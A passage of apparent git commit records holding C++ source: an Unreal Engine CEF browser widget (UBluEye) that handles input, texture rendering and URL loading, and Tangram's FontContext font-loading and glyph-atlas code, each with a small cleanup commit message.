NULL);\n\t\tif (!MaterialInstance)\n\t\t{\n\t\t\tUE_LOG(LogBlu, Warning, TEXT(\"UI Material instance can't be created\"));\n\t\t\treturn;\n\t\t}\n\t}\n\n\t\/\/ Check again, we must have material instance\n\tif (!MaterialInstance)\n\t{\n\t\tUE_LOG(LogBlu, Error, TEXT(\"UI Material instance wasn't created\"));\n\t\treturn;\n\t}\n\n\t\/\/ Check we have desired parameter\n\tUTexture* Tex = nullptr;\n\tif (!MaterialInstance->GetTextureParameterValue(TextureParameterName, Tex))\n\t{\n\t\tUE_LOG(LogBlu, Warning, TEXT(\"UI Material instance Texture parameter not found\"));\n\t\treturn;\n\t}\n\n\tMaterialInstance->SetTextureParameterValue(TextureParameterName, GetTexture());\n}\n\nvoid UBluEye::CloseBrowser()\n{\n\tBeginDestroy();\n}\n\nvoid UBluEye::BeginDestroy()\n{\n\n\tif (browser)\n\t{\n\n\t\t\/\/ Make sure things stop playing, like audio, video, etc.\n\t\tLoadURL(\"about:blank\");\n\n\t\t\/\/ Close up the browser\n\t\tbrowser->GetHost()->CloseDevTools();\n\t\tbrowser->GetHost()->CloseBrowser(true);\n\n\t\tUE_LOG(LogBlu, Warning, TEXT(\"Browser Closing\"));\n\n\t}\n\n\tDestroyTexture();\n\tSuper::BeginDestroy();\n\n}<commit_msg>Clean up key char method<commit_after>#include \"BluPrivatePCH.h\"\n\nUBluEye::UBluEye(const class FObjectInitializer& PCIP)\n\t: Super(PCIP)\n{\n\n\tWidth = 800;\n\tHeight = 600;\n\n\tbIsTransparent = false;\n\n}\n\nvoid UBluEye::init()\n{\n\n\t\/** \n\t * We don't want this running in editor unless it's PIE\n\t * If we don't check this, CEF will spawn infinit processes with widget components\n\t **\/\n\tif (GEngine)\n\t{\n\t\tif (GEngine->IsEditor() && !GWorld->IsPlayInEditor())\n\t\t{\n\t\t\tUE_LOG(LogBlu, Log, TEXT(\"Notice: not playing - Component Will Not Initialize\"));\n\t\t\treturn;\n\t\t}\n\t}\n\t\n\tbrowserSettings.universal_access_from_file_urls = STATE_ENABLED;\n\tbrowserSettings.file_access_from_file_urls = STATE_ENABLED;\n\n\tinfo.width = Width;\n\tinfo.height = Height;\n\n\t\/\/ Set the texture update region (for now the whole image)\n\tRenderParams.UpdateRegions = new FUpdateTextureRegion2D(0, 0, 0, 0, Width, Height);\n\n\t\/\/ Set transparant option\n\tinfo.SetAsWindowless(0, bIsTransparent);\n\n\trenderer = new RenderHandler(Width, Height, this);\n\tg_handler = new BrowserClient(renderer);\n\tbrowser = CefBrowserHost::CreateBrowserSync(info, g_handler.get(), \"about:blank\", browserSettings, NULL);\n\n\t\/\/ Setup JS event emitter\n\tg_handler->SetEventEmitter(&ScriptEventEmitter);\n\n\tUE_LOG(LogBlu, Log, TEXT(\"Component Initialized\"));\n\tCefString str = *DefaultURL;\n\tUE_LOG(LogBlu, Log, TEXT(\"Loading URL: %s\"), *DefaultURL);\n\n\t\/\/ Load the default URL\n\tLoadURL(DefaultURL);\n\tResetTexture();\n\n}\n\nvoid UBluEye::ResetTexture()\n{\n\n\t\/\/ Here we init the texture to its initial state\n\tDestroyTexture();\n\n\t\/\/ init the new Texture2D\n\tTexture = UTexture2D::CreateTransient(Width, Height, PF_B8G8R8A8);\n\tTexture->AddToRoot();\n\tTexture->UpdateResource();\n\n\tRenderParams.Texture2DResource = (FTexture2DResource*)Texture->Resource;\n\n\tResetMatInstance();\n\n}\n\nvoid UBluEye::DestroyTexture()\n{\n\t\/\/ Here we destory the texture and its resource\n\tif (Texture)\n\t{\n\t\tTexture->RemoveFromRoot();\n\n\t\tif (Texture->Resource)\n\t\t{\n\t\t\tBeginReleaseResource(Texture->Resource);\n\t\t\tFlushRenderingCommands();\n\t\t}\n\n\t\tTexture->MarkPendingKill();\n\t\tTexture = nullptr;\n\t}\n}\n\nvoid UBluEye::TextureUpdate(const void *buffer)\n{\n\tif (!browser || !bEnabled)\n\t{\n\t\tUE_LOG(LogBlu, Warning, TEXT(\"NO BROWSER ACCESS OR NOT ENABLED\"))\n\t\treturn;\n\t}\n\n\tif (Texture && Texture->Resource)\n\t{\n\n\t\t\/\/ Is our texture ready?\n\t\tauto ref = static_cast<FTexture2DResource*>(Texture->Resource)->GetTexture2DRHI();\n\t\tif (!ref)\n\t\t{\n\t\t\tUE_LOG(LogBlu, Warning, TEXT(\"NO REF\"))\n\t\t\t\treturn;\n\t\t}\n\n\t\tif (buffer == nullptr)\n\t\t{\n\t\t\tUE_LOG(LogBlu, Warning, TEXT(\"NO TEXTDATA\"))\n\t\t\t\treturn;\n\t\t}\t\n\n\t\tENQUEUE_UNIQUE_RENDER_COMMAND_FOURPARAMETER(\n\t\t\tvoid,\n\t\t\tconst void*, ImageData, buffer,\n\t\t\tUTexture2D*, TargetTexture, Texture,\n\t\t\tint32, Stride, Width * 4,\n\t\t\tFBluTextureParams, Params, RenderParams,\n\t\t\t{\n\n\t\t\t\tRHIUpdateTexture2D(Params.Texture2DResource->GetTexture2DRHI(), 0, *Params.UpdateRegions, Stride, (uint8*)ImageData);\n\n\t\t\t});\n\n\t}\n\telse {\n\t\tUE_LOG(LogBlu, Warning, TEXT(\"no Texture or Texture->resource\"))\n\t}\n\n}\n\nvoid UBluEye::ExecuteJS(const FString& code)\n{\n\tCefString codeStr = *code;\n\tbrowser->GetMainFrame()->ExecuteJavaScript(codeStr, \"\", 0);\n}\n\nvoid UBluEye::LoadURL(const FString& newURL)\n{\n\n\t\/\/ Check if we want to load a local file\n\n\tif (newURL.Contains(TEXT(\"blui:\/\/\"), ESearchCase::IgnoreCase, ESearchDir::FromStart))\n\t{\n\n\t\t\/\/ Get the current working directory\n\t\tFString GameDir = FPaths::ConvertRelativePathToFull(FPaths::GameDir());\n\n\t\t\/\/ We're loading a local file, so replace the proto with our game directory path\n\t\tFString LocalFile = newURL.Replace(TEXT(\"blui:\/\/\"), *GameDir, ESearchCase::IgnoreCase);\n\n\t\t\/\/ Now we use the file proto\n\t\tLocalFile = FString(TEXT(\"file:\/\/\/\")) + LocalFile;\n\n\t\tUE_LOG(LogBlu, Log, TEXT(\"Load Local File: %s\"), *LocalFile)\n\n\t\t\/\/ Load it up \n\t\tbrowser->GetMainFrame()->LoadURL(*LocalFile);\n\n\t\treturn;\n\n\t}\n\n\t\/\/ Load as usual\n\tbrowser->GetMainFrame()->LoadURL(*newURL);\n\n}\n\nbool UBluEye::IsBrowserLoading()\n{\n\n\treturn browser->IsLoading();\n\n}\n\nvoid UBluEye::ReloadBrowser(bool IgnoreCache)\n{\n\n\tif (IgnoreCache)\n\t{\n\t\treturn browser->ReloadIgnoreCache();\n\t}\n\n\tbrowser->Reload();\n\n}\n\nvoid UBluEye::NavBack()\n{\n\n\tif (browser->CanGoBack())\n\t{\n\t\tbrowser->GoBack();\n\t}\n\n}\n\nvoid UBluEye::NavForward()\n{\n\n\tif (browser->CanGoForward())\n\t{\n\t\tbrowser->GoForward();\n\t}\n\n}\n\nvoid UBluEye::ResizeBrowser(int32 NewWidth, int32 NewHeight)\n{\n\n\t\/\/ Disable the web view while we resize\n\tbEnabled = false;\n\n\t\/\/ Set our new Width and Height\n\tWidth = NewWidth;\n\tHeight = NewHeight;\n\t\n\t\/\/ Update our render handler\n\trenderer->width = NewWidth;\n\trenderer->height = NewHeight;\n\n\t\/\/ Also update the Region definition\n\tRenderParams.UpdateRegions->Height = NewHeight;\n\tRenderParams.UpdateRegions->Width = NewWidth;\n\n\t\/\/ Let the browser's host know we resized it\n\tbrowser->GetHost()->WasResized();\n\n\t\/\/ Now we can keep going\n\tbEnabled = true;\n\n}\n\nvoid UBluEye::TriggerMouseMove(const FVector2D& pos, const float scale)\n{\n\n\tmouse_event.x = pos.X \/ scale;\n\tmouse_event.y = pos.Y \/ scale;\n\n\tbrowser->GetHost()->SendFocusEvent(true);\n\tbrowser->GetHost()->SendMouseMoveEvent(mouse_event, false);\n\n}\n\nvoid UBluEye::TriggerLeftClick(const FVector2D& pos, const float scale)\n{\n\tTriggerLeftMouseDown(pos, scale);\n\tTriggerLeftMouseUp(pos, scale);\n}\n\nvoid UBluEye::TriggerRightClick(const FVector2D& pos, const float scale)\n{\n\tTriggerRightMouseDown(pos, scale);\n\tTriggerRightMouseUp(pos, scale);\n}\n\nvoid UBluEye::TriggerLeftMouseDown(const FVector2D& pos, const float scale)\n{\n\tmouse_event.x = pos.X \/ scale;\n\tmouse_event.y = pos.Y \/ scale;\n\n\tbrowser->GetHost()->SendMouseClickEvent(mouse_event, MBT_LEFT, false, 1);\n}\n\nvoid UBluEye::TriggerRightMouseDown(const FVector2D& pos, const float scale)\n{\n\tmouse_event.x = pos.X \/ scale;\n\tmouse_event.y = pos.Y \/ scale;\n\n\tbrowser->GetHost()->SendMouseClickEvent(mouse_event, MBT_RIGHT, false, 1);\n}\n\nvoid UBluEye::TriggerLeftMouseUp(const FVector2D& pos, const float scale)\n{\n\tmouse_event.x = pos.X \/ scale;\n\tmouse_event.y = pos.Y \/ scale;\n\n\tbrowser->GetHost()->SendMouseClickEvent(mouse_event, MBT_LEFT, true, 1);\n}\n\nvoid UBluEye::TriggerRightMouseUp(const FVector2D& pos, const float scale)\n{\n\tmouse_event.x = pos.X \/ scale;\n\tmouse_event.y = pos.Y \/ scale;\n\n\tbrowser->GetHost()->SendMouseClickEvent(mouse_event, MBT_RIGHT, true, 1);\n}\n\nvoid UBluEye::TriggerMouseWheel(const float MouseWheelDelta, const FVector2D& pos, const float scale)\n{\n\tmouse_event.x = pos.X \/ scale;\n\tmouse_event.y = pos.Y \/ scale;\n\n\tbrowser->GetHost()->SendMouseWheelEvent(mouse_event, MouseWheelDelta * 10, MouseWheelDelta * 10);\n}\n\nvoid UBluEye::KeyDown(FKeyEvent InKey)\n{\n\n\tprocessKeyMods(InKey);\n\tprocessKeyCode(InKey);\n\n\tkey_event.type = KEYEVENT_KEYDOWN;\n\tbrowser->GetHost()->SendKeyEvent(key_event);\n\n}\n\nvoid UBluEye::KeyUp(FKeyEvent InKey)\n{\n\n\tprocessKeyMods(InKey);\n\tprocessKeyCode(InKey);\n\n\tkey_event.type = KEYEVENT_KEYUP;\n\tbrowser->GetHost()->SendKeyEvent(key_event);\n\n}\n\nvoid UBluEye::KeyPress(FKeyEvent InKey)\n{\n\n\t\/\/ Simply trigger down, then up key events\n\tKeyDown(InKey);\n\tKeyUp(InKey);\n\n}\n\nvoid UBluEye::processKeyCode(FKeyEvent InKey)\n{\n\tkey_event.native_key_code = InKey.GetKeyCode();\n\tkey_event.windows_key_code = InKey.GetKeyCode();\n}\n\nvoid UBluEye::CharKeyPress(FCharacterEvent CharEvent)\n{\n\n\t\/\/ Process keymods like usual\n\tprocessKeyMods(CharEvent);\n\n\t\/\/ Below char input needs some special treatment, se we can't use the normal key down\/up methods\n\n\tkey_event.windows_key_code = CharEvent.GetCharacter();\n\tkey_event.native_key_code = CharEvent.GetCharacter();\n\tkey_event.type = KEYEVENT_CHAR;\n\tbrowser->GetHost()->SendKeyEvent(key_event);\n\n}\n\nvoid UBluEye::RawCharKeyPress(const FString charToPress, bool isRepeat,\n\tbool LeftShiftDown,\n\tbool RightShiftDown,\n\tbool LeftControlDown,\n\tbool RightControlDown,\n\tbool LeftAltDown,\n\tbool RightAltDown,\n\tbool LeftCommandDown,\n\tbool RightCommandDown,\n\tbool CapsLocksOn)\n{\n\n\tFModifierKeysState* KeyState = new FModifierKeysState(LeftShiftDown, RightShiftDown, LeftControlDown, \n\t\tRightControlDown, LeftAltDown, RightAltDown, LeftCommandDown, RightCommandDown, CapsLocksOn);\n\n\tFCharacterEvent* CharEvent = new FCharacterEvent(charToPress.GetCharArray()[0], *KeyState, 0, isRepeat);\n\n\tCharKeyPress(*CharEvent);\n\n}\n\nvoid UBluEye::SpecialKeyPress(EBluSpecialKeys key, bool LeftShiftDown,\n\tbool RightShiftDown,\n\tbool LeftControlDown,\n\tbool RightControlDown,\n\tbool LeftAltDown,\n\tbool RightAltDown,\n\tbool LeftCommandDown,\n\tbool RightCommandDown,\n\tbool CapsLocksOn)\n{\n\n\tint32 keyValue = key;\n\n\tkey_event.windows_key_code = keyValue;\n\tkey_event.native_key_code = keyValue;\n\tkey_event.type = KEYEVENT_KEYDOWN;\n\tbrowser->GetHost()->SendKeyEvent(key_event);\n\n\tkey_event.windows_key_code = keyValue;\n\tkey_event.native_key_code = keyValue;\n\t\/\/ bits 30 and 31 should be always 1 for WM_KEYUP\n\tkey_event.type = KEYEVENT_KEYUP;\n\tbrowser->GetHost()->SendKeyEvent(key_event);\n\n}\n\nvoid UBluEye::processKeyMods(FInputEvent InKey)\n{\n\n\tint mods = 0;\n\n\t\/\/ Test alt\n\tif (InKey.IsAltDown())\n\t{\n\t\tmods |= cef_event_flags_t::EVENTFLAG_ALT_DOWN;\n\t}\n\telse\n\t\/\/ Test control\n\tif (InKey.IsControlDown())\n\t{\n\t\tmods |= cef_event_flags_t::EVENTFLAG_CONTROL_DOWN;\n\t} \n\telse\n\t\/\/ Test shift\n\tif (InKey.IsShiftDown())\n\t{\n\t\tmods |= cef_event_flags_t::EVENTFLAG_SHIFT_DOWN;\n\t}\n\n\tkey_event.modifiers = mods;\n\n}\n\nUTexture2D* UBluEye::GetTexture() const\n{\n\tif (!Texture)\n\t{\n\t\treturn UTexture2D::CreateTransient(Width, Height);\n\t}\n\n\treturn Texture;\n}\n\nUMaterialInstanceDynamic* UBluEye::GetMaterialInstance() const\n{\n\treturn MaterialInstance;\n}\n\nvoid UBluEye::ResetMatInstance()\n{\n\tif (!Texture || !BaseMaterial || TextureParameterName.IsNone())\n\t{\n\t\treturn;\n\t}\n\n\t\/\/ Create material instance\n\tif (!MaterialInstance)\n\t{\n\t\tMaterialInstance = UMaterialInstanceDynamic::Create(BaseMaterial, NULL);\n\t\tif (!MaterialInstance)\n\t\t{\n\t\t\tUE_LOG(LogBlu, Warning, TEXT(\"UI Material instance can't be created\"));\n\t\t\treturn;\n\t\t}\n\t}\n\n\t\/\/ Check again, we must have material instance\n\tif (!MaterialInstance)\n\t{\n\t\tUE_LOG(LogBlu, Error, TEXT(\"UI Material instance wasn't created\"));\n\t\treturn;\n\t}\n\n\t\/\/ Check we have desired parameter\n\tUTexture* Tex = nullptr;\n\tif (!MaterialInstance->GetTextureParameterValue(TextureParameterName, Tex))\n\t{\n\t\tUE_LOG(LogBlu, Warning, TEXT(\"UI Material instance Texture parameter not found\"));\n\t\treturn;\n\t}\n\n\tMaterialInstance->SetTextureParameterValue(TextureParameterName, GetTexture());\n}\n\nvoid UBluEye::CloseBrowser()\n{\n\tBeginDestroy();\n}\n\nvoid UBluEye::BeginDestroy()\n{\n\n\tif (browser)\n\t{\n\n\t\t\/\/ Make sure things stop playing, like audio, video, etc.\n\t\tLoadURL(\"about:blank\");\n\n\t\t\/\/ Close up the browser\n\t\tbrowser->GetHost()->CloseDevTools();\n\t\tbrowser->GetHost()->CloseBrowser(true);\n\n\t\tUE_LOG(LogBlu, Warning, TEXT(\"Browser Closing\"));\n\n\t}\n\n\tDestroyTexture();\n\tSuper::BeginDestroy();\n\n}<|endoftext|>"} {"text":"<commit_before>#include \"fontContext.h\"\n\n#include \"platform.h\"\n\n#define SDF_IMPLEMENTATION\n#include \"sdf.h\"\n\n#include <memory>\n\n#define DEFAULT \"fonts\/NotoSans-Regular.ttf\"\n#define FONT_AR \"fonts\/NotoNaskh-Regular.ttf\"\n#define FONT_HE \"fonts\/NotoSansHebrew-Regular.ttf\"\n#define FONT_JA \"fonts\/DroidSansJapanese.ttf\"\n#define FALLBACK \"fonts\/DroidSansFallback.ttf\"\n\n#if defined(PLATFORM_ANDROID)\n#define ANDROID_FONT_PATH \"\/system\/fonts\/\"\n#endif\n#define BASE_SIZE 16\n#define STEP_SIZE 12\n\n#define SDF_WIDTH 6\n\n#define MIN_LINE_WIDTH 4\n\nnamespace Tangram {\n\nFontContext::FontContext() :\n m_sdfRadius(SDF_WIDTH),\n m_atlas(*this, GlyphTexture::size, m_sdfRadius),\n m_batch(m_atlas, m_scratch),\n m_sceneResourceRoot(\"\") {\n\n\/\/ TODO: make this platform independent\n#if defined(PLATFORM_ANDROID)\n auto fontPath = systemFontPath(\"sans-serif\", \"400\", \"normal\");\n LOG(\"FONT %s\", fontPath.c_str());\n\n int size = BASE_SIZE;\n for (int i = 0; i < 3; i++, size += STEP_SIZE) {\n m_font[i] = m_alfons.addFont(\"default\", alfons::InputSource(fontPath), size);\n }\n\n std::string fallback = \"\";\n int importance = 0;\n\n while (importance < 100) {\n fallback = systemFontFallbackPath(importance++, 400);\n if (fallback.empty()) { break; }\n\n if (fallback.find(\"UI-\") != std::string::npos) {\n continue;\n }\n fontPath = ANDROID_FONT_PATH;\n fontPath += fallback;\n LOG(\"FALLBACK %s\", fontPath.c_str());\n\n int size = BASE_SIZE;\n for (int i = 0; i < 3; i++, size += STEP_SIZE) {\n m_font[i]->addFace(m_alfons.addFontFace(alfons::InputSource(fontPath), size));\n }\n }\n#elif defined(PLATFORM_IOS)\n\n int size = BASE_SIZE;\n auto loadFonts = [&](const char* path) {\n unsigned int dataSize;\n char* data = reinterpret_cast<char*>(bytesFromFile(path, PathType::resource, &dataSize,\n m_sceneResourceRoot.c_str()));\n if (data) {\n for (int i = 0; i < 3; i++, size += STEP_SIZE) {\n m_font[i] = m_alfons.addFont(\"default\", alfons::InputSource(data, dataSize), size);\n }\n free(data);\n }\n };\n auto addFaces = [&](const char* path) {\n unsigned int dataSize;\n char* data = reinterpret_cast<char*>(bytesFromFile(path, PathType::resource, &dataSize,\n m_sceneResourceRoot.c_str()));\n if (data) {\n for (int i = 0; i < 3; i++, size += STEP_SIZE) {\n m_font[i]->addFace(m_alfons.addFontFace(alfons::InputSource(data, dataSize), size));\n }\n free(data);\n }\n };\n\n loadFonts(DEFAULT);\n addFaces(FONT_AR);\n addFaces(FONT_HE);\n addFaces(FONT_JA);\n addFaces(FALLBACK);\n\n#else\n int size = BASE_SIZE;\n for (int i = 0; i < 3; i++, size += STEP_SIZE) {\n m_font[i] = m_alfons.addFont(\"default\", alfons::InputSource(DEFAULT), size);\n m_font[i]->addFace(m_alfons.addFontFace(alfons::InputSource(FONT_AR), size));\n m_font[i]->addFace(m_alfons.addFontFace(alfons::InputSource(FONT_HE), size));\n m_font[i]->addFace(m_alfons.addFontFace(alfons::InputSource(FONT_JA), size));\n m_font[i]->addFace(m_alfons.addFontFace(alfons::InputSource(FALLBACK), size));\n }\n#endif\n}\n\n\/\/ Synchronized on m_mutex in layoutText(), called on tile-worker threads\nvoid FontContext::addTexture(alfons::AtlasID id, uint16_t width, uint16_t height) {\n if (m_textures.size() == max_textures) {\n LOGE(\"Way too many glyph textures!\");\n return;\n }\n m_textures.emplace_back();\n}\n\n\/\/ Synchronized on m_mutex in layoutText(), called on tile-worker threads\nvoid FontContext::addGlyph(alfons::AtlasID id, uint16_t gx, uint16_t gy, uint16_t gw, uint16_t gh,\n const unsigned char* src, uint16_t pad) {\n\n if (id >= max_textures) { return; }\n\n auto& texData = m_textures[id].texData;\n auto& texture = m_textures[id].texture;\n m_textures[id].dirty = true;\n\n uint16_t stride = GlyphTexture::size;\n uint16_t width = GlyphTexture::size;\n\n unsigned char* dst = &texData[(gx + pad) + (gy + pad) * stride];\n\n for (size_t y = 0, pos = 0; y < gh; y++, pos += gw) {\n std::memcpy(dst + y * stride, src + pos, gw);\n }\n\n dst = &texData[gx + gy * width];\n gw += pad * 2;\n gh += pad * 2;\n\n size_t bytes = gw * gh * sizeof(float) * 3;\n if (m_sdfBuffer.size() < bytes) {\n m_sdfBuffer.resize(bytes);\n }\n\n sdfBuildDistanceFieldNoAlloc(dst, width, m_sdfRadius,\n dst, gw, gh, width,\n &m_sdfBuffer[0]);\n\n texture.setDirty(gy, gh);\n}\n\nvoid FontContext::releaseAtlas(std::bitset<max_textures> _refs) {\n if (!_refs.any()) { return; }\n std::lock_guard<std::mutex> lock(m_mutex);\n for (size_t i = 0; i < m_textures.size(); i++) {\n if (!_refs[i]) { continue; }\n\n if (--m_atlasRefCount[i] == 0) {\n LOGD(\"CLEAR ATLAS %d\", i);\n m_atlas.clear(i);\n m_textures[i].texData.assign(GlyphTexture::size * GlyphTexture::size, 0);\n }\n }\n}\n\nvoid FontContext::updateTextures() {\n std::lock_guard<std::mutex> lock(m_mutex);\n\n for (auto& gt : m_textures) {\n if (gt.dirty || !gt.texture.isValid()) {\n gt.dirty = false;\n auto td = reinterpret_cast<const GLuint*>(gt.texData.data());\n gt.texture.update(0, td);\n }\n }\n}\n\nvoid FontContext::bindTexture(alfons::AtlasID _id, GLuint _unit) {\n std::lock_guard<std::mutex> lock(m_mutex);\n m_textures[_id].texture.bind(_unit);\n\n}\n\nbool FontContext::layoutText(TextStyle::Parameters& _params, const std::string& _text,\n std::vector<GlyphQuad>& _quads, std::bitset<max_textures>& _refs, glm::vec2& _size) {\n\n std::lock_guard<std::mutex> lock(m_mutex);\n\n alfons::LineLayout line = m_shaper.shape(_params.font, _text);\n\n if (line.shapes().size() == 0) {\n LOGD(\"Empty text line\");\n return false;\n }\n\n line.setScale(_params.fontScale);\n\n \/\/ m_batch.drawShapeRange() calls FontContext's TextureCallback for new glyphs\n \/\/ and MeshCallback (drawGlyph) for vertex quads of each glyph in LineLayout.\n\n m_scratch.quads = &_quads;\n\n size_t quadsStart = _quads.size();\n alfons::LineMetrics metrics;\n\n if (_params.wordWrap) {\n m_textWrapper.draw(m_batch, line, MIN_LINE_WIDTH,\n _params.maxLineWidth, _params.align,\n _params.lineSpacing, metrics);\n } else {\n glm::vec2 position(0);\n m_batch.drawShapeRange(line, 0, line.shapes().size(), position, metrics);\n }\n\n \/\/ TextLabel parameter: Dimension\n float width = metrics.aabb.z - metrics.aabb.x;\n float height = metrics.aabb.w - metrics.aabb.y;\n\n \/\/ Offset to center all glyphs around 0\/0\n glm::vec2 offset((metrics.aabb.x + width * 0.5) * TextVertex::position_scale,\n (metrics.aabb.y + height * 0.5) * TextVertex::position_scale);\n\n auto it = _quads.begin() + quadsStart;\n if (it == _quads.end()) {\n \/\/ No glyphs added\n return false;\n }\n\n while (it != _quads.end()) {\n\n if (!_refs[it->atlas]) {\n _refs[it->atlas] = true;\n m_atlasRefCount[it->atlas]++;\n }\n\n it->quad[0].pos -= offset;\n it->quad[1].pos -= offset;\n it->quad[2].pos -= offset;\n it->quad[3].pos -= offset;\n ++it;\n }\n\n _size = glm::vec2(width, height);\n\n return true;\n}\n\nvoid FontContext::ScratchBuffer::drawGlyph(const alfons::Rect& q, const alfons::AtlasGlyph& atlasGlyph) {\n if (atlasGlyph.atlas >= max_textures) { return; }\n\n auto& g = *atlasGlyph.glyph;\n quads->push_back({\n atlasGlyph.atlas,\n {{glm::vec2{q.x1, q.y1} * TextVertex::position_scale, {g.u1, g.v1}},\n {glm::vec2{q.x1, q.y2} * TextVertex::position_scale, {g.u1, g.v2}},\n {glm::vec2{q.x2, q.y1} * TextVertex::position_scale, {g.u2, g.v1}},\n {glm::vec2{q.x2, q.y2} * TextVertex::position_scale, {g.u2, g.v2}}}});\n}\n\nauto FontContext::getFont(const std::string& _family, const std::string& _style,\n const std::string& _weight, float _size) -> std::shared_ptr<alfons::Font> {\n\n int sizeIndex = 0;\n\n \/\/ Pick the smallest font that does not scale down too much\n float fontSize = BASE_SIZE;\n for (int i = 0; i < 3; i++) {\n sizeIndex = i;\n\n if (_size <= fontSize) { break; }\n fontSize += STEP_SIZE;\n }\n \/\/LOG(\">> %f - %d ==> %f\", _size, sizeIndex, _size \/ ((sizeIndex+1) * BASE_SIZE));\n\n std::lock_guard<std::mutex> lock(m_mutex);\n\n static std::string fontName;\n\n fontName.clear();\n fontName += _family;\n fontName += '_';\n fontName += _weight;\n fontName += '_';\n fontName += _style;\n\n auto font = m_alfons.getFont(fontName, fontSize);\n if (font->hasFaces()) { return font; }\n\n unsigned int dataSize = 0;\n unsigned char* data = nullptr;\n\n \/\/ Assuming bundled ttf file follows this convention\n auto bundledFontPath = \"fonts\/\" + _family + \"-\" + _weight + _style + \".ttf\";\n if (!(data = bytesFromFile(bundledFontPath.c_str(), PathType::resource, &dataSize, m_sceneResourceRoot.c_str())) &&\n !(data = bytesFromFile(bundledFontPath.c_str(), PathType::internal, &dataSize, m_sceneResourceRoot.c_str()))) {\n const std::string sysFontPath = systemFontPath(_family, _weight, _style);\n if (!(data = bytesFromFile(sysFontPath.c_str(), PathType::absolute, &dataSize, m_sceneResourceRoot.c_str())) ) {\n\n LOGE(\"Could not load font file %s\", fontName.c_str());\n \/\/ add fallbacks from default font\n font->addFaces(*m_font[sizeIndex]);\n return font;\n }\n }\n\n font->addFace(m_alfons.addFontFace(alfons::InputSource(reinterpret_cast<char*>(data), dataSize), fontSize));\n free(data);\n\n \/\/ add fallbacks from default font\n font->addFaces(*m_font[sizeIndex]);\n\n return font;\n}\n\n\n}\n<commit_msg>LOG => LOGD<commit_after>#include \"fontContext.h\"\n\n#include \"platform.h\"\n\n#define SDF_IMPLEMENTATION\n#include \"sdf.h\"\n\n#include <memory>\n\n#define DEFAULT \"fonts\/NotoSans-Regular.ttf\"\n#define FONT_AR \"fonts\/NotoNaskh-Regular.ttf\"\n#define FONT_HE \"fonts\/NotoSansHebrew-Regular.ttf\"\n#define FONT_JA \"fonts\/DroidSansJapanese.ttf\"\n#define FALLBACK \"fonts\/DroidSansFallback.ttf\"\n\n#if defined(PLATFORM_ANDROID)\n#define ANDROID_FONT_PATH \"\/system\/fonts\/\"\n#endif\n#define BASE_SIZE 16\n#define STEP_SIZE 12\n\n#define SDF_WIDTH 6\n\n#define MIN_LINE_WIDTH 4\n\nnamespace Tangram {\n\nFontContext::FontContext() :\n m_sdfRadius(SDF_WIDTH),\n m_atlas(*this, GlyphTexture::size, m_sdfRadius),\n m_batch(m_atlas, m_scratch),\n m_sceneResourceRoot(\"\") {\n\n\/\/ TODO: make this platform independent\n#if defined(PLATFORM_ANDROID)\n auto fontPath = systemFontPath(\"sans-serif\", \"400\", \"normal\");\n LOGD(\"FONT %s\", fontPath.c_str());\n\n int size = BASE_SIZE;\n for (int i = 0; i < 3; i++, size += STEP_SIZE) {\n m_font[i] = m_alfons.addFont(\"default\", alfons::InputSource(fontPath), size);\n }\n\n std::string fallback = \"\";\n int importance = 0;\n\n while (importance < 100) {\n fallback = systemFontFallbackPath(importance++, 400);\n if (fallback.empty()) { break; }\n\n if (fallback.find(\"UI-\") != std::string::npos) {\n continue;\n }\n fontPath = ANDROID_FONT_PATH;\n fontPath += fallback;\n LOGD(\"FALLBACK %s\", fontPath.c_str());\n\n int size = BASE_SIZE;\n for (int i = 0; i < 3; i++, size += STEP_SIZE) {\n m_font[i]->addFace(m_alfons.addFontFace(alfons::InputSource(fontPath), size));\n }\n }\n#elif defined(PLATFORM_IOS)\n\n int size = BASE_SIZE;\n auto loadFonts = [&](const char* path) {\n unsigned int dataSize;\n char* data = reinterpret_cast<char*>(bytesFromFile(path, PathType::resource, &dataSize,\n m_sceneResourceRoot.c_str()));\n if (data) {\n for (int i = 0; i < 3; i++, size += STEP_SIZE) {\n m_font[i] = m_alfons.addFont(\"default\", alfons::InputSource(data, dataSize), size);\n }\n free(data);\n }\n };\n auto addFaces = [&](const char* path) {\n unsigned int dataSize;\n char* data = reinterpret_cast<char*>(bytesFromFile(path, PathType::resource, &dataSize,\n m_sceneResourceRoot.c_str()));\n if (data) {\n for (int i = 0; i < 3; i++, size += STEP_SIZE) {\n m_font[i]->addFace(m_alfons.addFontFace(alfons::InputSource(data, dataSize), size));\n }\n free(data);\n }\n };\n\n loadFonts(DEFAULT);\n addFaces(FONT_AR);\n addFaces(FONT_HE);\n addFaces(FONT_JA);\n addFaces(FALLBACK);\n\n#else\n int size = BASE_SIZE;\n for (int i = 0; i < 3; i++, size += STEP_SIZE) {\n m_font[i] = m_alfons.addFont(\"default\", alfons::InputSource(DEFAULT), size);\n m_font[i]->addFace(m_alfons.addFontFace(alfons::InputSource(FONT_AR), size));\n m_font[i]->addFace(m_alfons.addFontFace(alfons::InputSource(FONT_HE), size));\n m_font[i]->addFace(m_alfons.addFontFace(alfons::InputSource(FONT_JA), size));\n m_font[i]->addFace(m_alfons.addFontFace(alfons::InputSource(FALLBACK), size));\n }\n#endif\n}\n\n\/\/ Synchronized on m_mutex in layoutText(), called on tile-worker threads\nvoid FontContext::addTexture(alfons::AtlasID id, uint16_t width, uint16_t height) {\n if (m_textures.size() == max_textures) {\n LOGE(\"Way too many glyph textures!\");\n return;\n }\n m_textures.emplace_back();\n}\n\n\/\/ Synchronized on m_mutex in layoutText(), called on tile-worker threads\nvoid FontContext::addGlyph(alfons::AtlasID id, uint16_t gx, uint16_t gy, uint16_t gw, uint16_t gh,\n const unsigned char* src, uint16_t pad) {\n\n if (id >= max_textures) { return; }\n\n auto& texData = m_textures[id].texData;\n auto& texture = m_textures[id].texture;\n m_textures[id].dirty = true;\n\n uint16_t stride = GlyphTexture::size;\n uint16_t width = GlyphTexture::size;\n\n unsigned char* dst = &texData[(gx + pad) + (gy + pad) * stride];\n\n for (size_t y = 0, pos = 0; y < gh; y++, pos += gw) {\n std::memcpy(dst + y * stride, src + pos, gw);\n }\n\n dst = &texData[gx + gy * width];\n gw += pad * 2;\n gh += pad * 2;\n\n size_t bytes = gw * gh * sizeof(float) * 3;\n if (m_sdfBuffer.size() < bytes) {\n m_sdfBuffer.resize(bytes);\n }\n\n sdfBuildDistanceFieldNoAlloc(dst, width, m_sdfRadius,\n dst, gw, gh, width,\n &m_sdfBuffer[0]);\n\n texture.setDirty(gy, gh);\n}\n\nvoid FontContext::releaseAtlas(std::bitset<max_textures> _refs) {\n if (!_refs.any()) { return; }\n 